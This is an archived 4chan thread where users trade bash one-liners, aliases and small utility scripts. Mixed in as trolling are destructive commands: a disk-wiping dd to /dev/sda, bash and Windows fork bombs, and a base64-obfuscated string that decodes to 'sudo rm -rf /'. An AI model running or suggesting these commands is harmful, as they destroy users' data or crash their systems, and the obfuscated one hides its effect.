[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

Shell scripts and useful oneliners. Share them and make them famous.

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 73
Thread images: 9

File: 1469846779305.jpg (34KB, 310x240px) Image search: [Google]
1469846779305.jpg
34KB, 310x240px
Shell scripts and useful oneliners.
Share them and make them famous.
>>
dd if=/dev/null of=/dev/sda
>>
:(){ :|: & };:
>>
apt-get install gentoo
>>
File: Server.png (174KB, 663x1058px) Image search: [Google]
Server.png
174KB, 663x1058px
>>58703926
Gonna drop this one, I use it as a system monitoring script.

Output is pic related

http://codepad.org/1los2d3s
>>
x="bottles of beer"; y="on the wall"; i=99; while [ $i -gt 1 ]; do printf "%d %s %s, %d %s. Take one down, pass it around, %d %s %s ...\n" "$i" "$x" "$y" "$i" "$x" "$((i-1))" "$x" "$y"; i=$((i-1)); sleep 1; done
>>
>>58703943
>/dev/null
That just EOFs immediately.
I think you wanted /dev/zero
>>
File: Sure thing kiddo.png (75KB, 187x193px) Image search: [Google]
Sure thing kiddo.png
75KB, 187x193px
>>58704112
>>
while true; do cls && ls && sleep 1; done
>>
>>58704146
nice
>>
for((;;i++)){ printf "%$(bc -l<<<"a=20*s($i/10);scale=0;a/1+20")s|\n";sleep .05;}
>>
>>58704134

/dev/random is a better choice.
>>
>>58704646
Wrong.
>>
>>58704090
huh, that's pretty neat family
>>
File: weather.png (74KB, 890x986px) Image search: [Google]
weather.png
74KB, 890x986px
>>
>>58704090
>mint as server distro
>using default / partition for everything
Welcome to babbies first server
>>
>>58703955
wtf my system frooze
>>
curl -s http://artscene.textfiles.com/vt100/dirty.vt | pv -qL500
>>
>>58704677
>Wrong.
W-why?
>>
>>58704146
>cls
Lel. What a idiot.
>>
>>58704615
Nothing happens.
>>
File: 1477633636724.webm (153KB, 647x295px) Image search: [Google]
1477633636724.webm
153KB, 647x295px
>>58705343
works for me
>>
>>58705326
i always alias clear to cls.
DOS master race
>>
File: capture9001.png (81KB, 711x380px) Image search: [Google]
capture9001.png
81KB, 711x380px
>>58705372
You watch your own webm back yet?
>>
Thank you for this thread. I can't contribute but I appreciate it not being a velied ad.
>>
>>58705393
oh no you saw part of a compile output of some really shitty code
>>
$(echo 'c3VkbyBybSAtcmYgLwo=' | base64 -d)
>>
function mdd {
mkdir -p $1 && cd $1
}

9 tr -dc a-z</dev/random|head -c5

function temp {
echo temperature: `sed 's/./&\./2' /sys/class/thermal/thermal_zone0/temp`C°
}
function info {
echo load averages: `cat /proc/loadavg`
free -h | cut -d ' ' -f1-36
echo
temp
}
function tempavg {
temps=''
i=${1:-5}
i=$(($i*2))
for i in `seq $i`; do
temps=$(($temps+`cat /sys/class/thermal/thermal_zone0/temp`))
sleep 0.5
done
echo `sed 's/./&\./2' <<<$(($temps/$i)) `C°
}
>>
>>58705399
No, just pointing out you have some really bad issues. Fix your capture program.
>>
>>58705298
Because openssl has a faster pseudo random generator than the shitty kernel /dev/urandom

Random isn't really for dd'ing disks so I'm assuming you mean urandom.
>>
Installed packages by size:
Arch:
alias pacstats="expac -HM '%m\t%n' | sort -n"
Debian/Ubuntu:
alias astats="dpkg-query -Wf '\${Installed-Size}\t\${Package}\n' | sort -n"
Fedora/CentOS:
alias rstats="rpm -qa --queryformat '%10{size} - %-25{name} \t %{version}\n' | sort -n"
>>
File: putty_2017-01-29_10-45-12.png (16KB, 642x386px) Image search: [Google]
putty_2017-01-29_10-45-12.png
16KB, 642x386px
>>58705436
Change the Debian/Ubuntu one to look like this:
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n

If you escape the $ it looks like this.
>>
Waiting for a machine (or the Internet) to come back?

#!/bin/bash

decho() {
echo `date +%x-%X`: $@
}

if [[ $@ == "" ]]; then
echo "no host specified, using 4.2.2.1"
ip=4.2.2.1
else
ip=$@
fi

test=0

while sleep 1; do
if ping -qc1 -W1 $ip 1> /dev/null 2> /dev/null; then
decho "Host is back!"
if which beep 1> /dev/null 2> /dev/null; then ( beep -f 1000 -l 100 -r 5 & ); fi
if which notify-send 1> /dev/null 2> /dev/null; then (notify-send "Host is back" & ); fi
if which aplay 1> /dev/null 2> /dev/null; then (yes ddd|aplay -q 1> /dev/null 2> /dev/null) & ( sleep 1 ; killall aplay ); fi
exit 0
else
decho "Nothing yet..."
fi
done
>>
If you type out a command and forget to sudo, you can do sudo !! and it'll rerun the last command just with sudo in the front.
>>
>>58704146
Why not just do
watch -n 1 ls
>>
>>58705664
or please
alias please='sudo $(history -p \!\!)'
>>
>>58705640
Since you're using bash, you can use the shortcut &>/dev/null, which sends both, 1 and 2 to /dev/null.

Also don't use backticks (old style), level up to $() instead which is also better for nesting.

>while sleep 1; do
neat idea
>>
>>58705711
alias please='sudo $(fc -ln -1)'
>>
>>58703955
wtf I hate linux now
>>
>>58705865
GNU
>>
>>58705703
whats the point?
>>
File: .png (6KB, 179x108px) Image search: [Google]
.png
6KB, 179x108px
>>58705664
but not always
>>
File: 2017-01-29-094640_1554x308_scrot.png (127KB, 1554x308px) Image search: [Google]
2017-01-29-094640_1554x308_scrot.png
127KB, 1554x308px
i have a bash script that randomizes the font and color scheme of each new terminal you make.

The selection is restricted to a list of font names and color schemes, so you can have as many or as little combinations as you want.(pic related)

It works perfectly and fast but is probably completely disgusting script wise

Please insult me


#!/bin/bash
Awhere=/home/you/Scripts/CCterm/
mkcs() {
sed -i '1s{.*{#include \"'$Awhere'xrdb/'$1'.xrdb\"{' $Awhere\precolorscheme
cpp -P $Awhere\precolorscheme -o $Awhere\postcolorscheme
}

if [ -e $Awhere\xrdb/"$1.xrdb" ]; then
#this does not work for colorschemes with a space in them
mkcs "$1" && xrdb -merge $Awhere\postcolorscheme
Bwhat=$(shuf -n1 $Awhere\fontnames)
urxvtc -name CCterm -fn "xft:$Bwhat"

fi


if [ -s $Awhere\precolorscheme ] && [ $# -eq 0 ]; then

Awhat=$(shuf -n1 $Awhere\colorschemes)
Bwhat=$(shuf -n1 $Awhere\fontnames)
mkcs $Awhat && xrdb -merge $Awhere\postcolorscheme
urxvtc -name CCterm -fn "xft:$Bwhat"
echo "$Awhat in $Bwhat"

elif [ ! -s $Awhere\precolorscheme ]; then

echo "
CCterm*color0: Ansi_0_Color
CCterm*color1: Ansi_1_Color
CCterm*color2: Ansi_2_Color
CCterm*color3: Ansi_3_Color
CCterm*color4: Ansi_4_Color
CCterm*color5: Ansi_5_Color
CCterm*color6: Ansi_6_Color
CCterm*color7: Ansi_7_Color
CCterm*color8: Ansi_8_Color
CCterm*color9: Ansi_9_Color
CCterm*color10: Ansi_10_Color
CCterm*color11: Ansi_11_Color
CCterm*color12: Ansi_12_Color
CCterm*color13: Ansi_13_Color
CCterm*color14: Ansi_14_Color
CCterm*color15: Ansi_15_Color
CCterm*colorBD: Bold_Color
CCterm*foreground: Foreground_Color
CCterm*background: Background_Color
CCterm*cursorColor: Cursor_Color
CCterm.scrollBar: false" >> $Awhere\/precolorscheme
bash $Awhere/CCterm.sh

fi
>>
>>58703926
some one liners and functions in my .bash_aliases
alias extip="curl http://ipecho.net/plain; echo"
alias intip="/bin/hostname --all-ip-addresses"
alias :q='exit'
# generate history statistics
function hstat {
if [ -z "$1" ]; then
# default to length=10
history|awk '{print $2}'|awk 'BEGIN {FS="|"} \
{print $1}'|sort|uniq -c|sort -rn|head -10
else
history|awk '{print $2}'|awk 'BEGIN {FS="|"} \
{print $1}'|sort|uniq -c|sort -rn|head -$1
fi
}
# back up single file
function bkp {
if [ -z "$1" ]; then
# display usage if no parameters given
echo "USAGE: bkp <file>"
else
cp "$1"{,.old}
echo "$1 -> $1.old"
fi
}
# create and move into directory
function mkcd {
if [ -z "$1" ]; then
# display usage if no parameters given
echo "USAGE: mkcd <directory>"
else
mkdir $1
cd $1
fi
}
# move to directoty and list its content
function lcd {
cd "$1"
ls
}
>>
>>58704987
Lewld.
>>
>>58706854
and obviously
# extract all archive formats
function extract {
if [ -z "$1" ]; then
# display usage if no parameters given
echo "USAGE: extract <file>.<zip|rar|bz2|gz|tar|tbz2|tgz|Z|7z|xz|ex|tar.bz2|tar.gz|tar.xz>"
else
if [ -f $1 ] ; then
# NAME=${1%.*}
# mkdir $NAME && cd $NAME
case $1 in
*.tar.bz2) tar xvjf ../$1 ;;
*.tar.gz) tar xvzf ../$1 ;;
*.tar.xz) tar xvJf ../$1 ;;
*.lzma) unlzma ../$1 ;;
*.bz2) bunzip2 ../$1 ;;
*.rar) unrar x -ad ../$1 ;;
*.gz) gunzip ../$1 ;;
*.tar) tar xvf ../$1 ;;
*.tbz2) tar xvjf ../$1 ;;
*.tgz) tar xvzf ../$1 ;;
*.zip) unzip ../$1 ;;
*.Z) uncompress ../$1 ;;
*.7z) 7z x ../$1 ;;
*.xz) unxz ../$1 ;;
*.exe) cabextract ../$1 ;;
*) echo "extract: '$1' - unknown archive method" ;;
esac
else
echo "$1 - file does not exist"
fi
fi
}
>>
>>58706854
curl -w '\n' http://ipecho.net/plain


faster:
dig +short myip.opendns.com @resolver1.opendns.com
>>
>>58706853
always quote variables, unquoted they may break on strings with spaces, it's also a security issue
>>
>>58706705
try
sudo $(history -p !!)
>>
>>58705865

%0|%0
>>
>>58706925
Not him but why is it a security issue? I'm genuinely curious.
>>
echo "op is a fag"
>>
>>58707286
>do i fit in yet?? XDD
>>
$ make love
>>
>>58707238
http://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells
>>
>>58707286
use printf
>>
alias iamanenormousfaggotandcantstopsavingthumbnailsfrom4chanthreads='find . -type f -name '*.jpg' | grep "[0-9]\{6,\}s\.jpg"'
>>
>>58707238
I would guess it's because they break with spaces so you can do things you shouldnt be able to like add a switch instead of an string or something causing the function to do something totally differemt
>>
>>58707414
find has -regex, use it
>>
>>58707398
Wow this is a fascinating read thank you for linking it.
>>
>>58705664
Learn the Event Designators section of info history.
Learn it gud.
Create a file called .rhistory # Because autocomplete and nothing else starts with .rh
.rhistory is all your bash one-liners.
If your .rhistory has 24 lines, make the first line "fc -l 1 24".
Now history -cr .rhistory && history -w
Now because your first line is fc -l 1 24, running !1 will show you your first 24 history lines.
If line 3 is "compgen -abckA function | grep" you can just !3 ^ch or some shit.
If line 5 is ps -o pid,comm,pmem,pcpu,uname -C $(xlsclients | cut -d" " -f3 | paste - -s -d ,)
you can !5 or !?xls
Also if you put a \! on the front of your PS1, you get a line number on your bash prompt.
>>
>>58707448
I posted a question in /sqt/ about a week ago about how to make find -regex search recursively, and never got a response.
>>
curl -s "$1" \
| grep -o '<a class="fileThumb" href="//[a-zA-Z0-9]*.4chan.org/[a-zA-Z0-9]*/[0-9]*\.[png|jpg|jpeg|gif|webm]*" target' \
| sed 's/^.* href=\"\(.*\)\" target$/https:\1/g' \
| xargs -P 16 -n 1 wget -q -nc


where "$1" is a 4chan thread url
took it outta my script uuuu
>>
>>58707662
Or, more easy:
1. create a .bash_aliases and source it in you .bashrc (you want your commands numbered?
Write:
alias c1="yourcommand"
alias c2="..." etc).
2. Type "alias" in your shell for the list.
3. Profit (or not, I don't care)
>>
>>58707952
I have a .bash_aliases file.
I keep my env variables and functions there, too.
But my .rhistory idea is for history expansions and substitutions.
As is
!22:s/old/new
>>
>>58707952
You can re-run commands from your bash history, They're already numbered.
You can edit them at the same time, substituting different arguments or commands, and adding to them. and use wildcard ?
>info history's event designators, word designators
>help fc
>>
>>58703926
Nice v6 mustang speedometer.
>>
awk --copyleft | wc -c
>>
>>58705436
Holy fuck, my largest package was qt5-doc at fucking half a gigabyte

How is this allowed in 2017
>>
>>58706705
>>58705664
>>58707072
>>58705711
>>58705853
just do up, control+a (jumps to the beginning of the line), type sudo, space, enter
>>
>>58708744
yeah i actually do this more often
>>
echo '${c1}' >  foo && fortune | cowsay >> foo && clear && neofetch --ascii foo
>>
>>58706705
>>58705664
>>58707072
>>58705711
>>58705853
>>58708744

Get on my level.

bind '"\es":"sudo !!\C-m"'
Thread posts: 73
Thread images: 9


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.